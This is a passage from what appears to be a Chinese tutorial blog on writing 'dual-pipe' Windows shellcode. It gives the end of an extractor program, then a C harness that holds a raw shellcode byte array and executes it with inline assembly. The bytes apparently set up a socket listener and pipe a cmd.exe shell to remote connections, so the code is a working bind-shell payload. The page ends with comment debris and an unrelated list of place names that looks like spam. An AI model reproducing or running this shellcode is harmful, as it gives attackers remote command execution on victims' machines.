????FILE?*fp_uncode?=?fopen("c://un_ShellCode.txt",?"wb+");
????for?(int?x?=?0;?x?<?Len;?x++)
????{
????fprintf(fp_uncode,?"%%u%02x%02x",?newBuffer[x?+?1],?newBuffer[x]);
????}
????_fcloseall();
????*/


????system("pause");
????return?0;
}

運(yùn)行后,則可自動(dòng)提取出特征碼,如下圖所示;

至此請(qǐng)讀者自行將上述ShellCode代碼替換之如下測(cè)試框架中測(cè)試;

#include?<stdio.h>
#include?<Windows.h>

unsigned?char?ShellCode[]?=?
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4";

int?main(int?argc,?char*?argv[])
{
????LoadLibrary("kernel32.dll");
????LoadLibrary("ws2_32.dll");

????__asm
????{
????????lea?eax,?ShellCode
????????call?eax
????}

????system("pause");
????return?0;
}

當(dāng)讀者運(yùn)行該程序時(shí),則會(huì)彈出服務(wù)端請(qǐng)求網(wǎng)絡(luò)創(chuàng)建功能,此時(shí)我們的ShellCode就算成功提取出來了,輸出效果圖如下所示;

本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/d86cdde2.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請(qǐng)注明出處!


1.6 編寫雙管道ShellCode的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
体育| 桂东县| 凉城县| 西贡区| 多伦县| 阜康市| 西贡区| 拉萨市| 色达县| 乌拉特前旗| 故城县| 鲁山县| 台东县| 太和县| 广丰县| 丹江口市| 五莲县| 东安县| 南溪县| 宜宾县| 恩施市| 永兴县| 广安市| 侯马市| 宁国市| 仪征市| 类乌齐县| 汉阴县| 甘南县| 揭东县| 揭阳市| 大田县| 沙田区| 伽师县| 浮山县| 阜平县| 龙州县| 贵溪市| 武鸣县| 射洪县| 郑州市|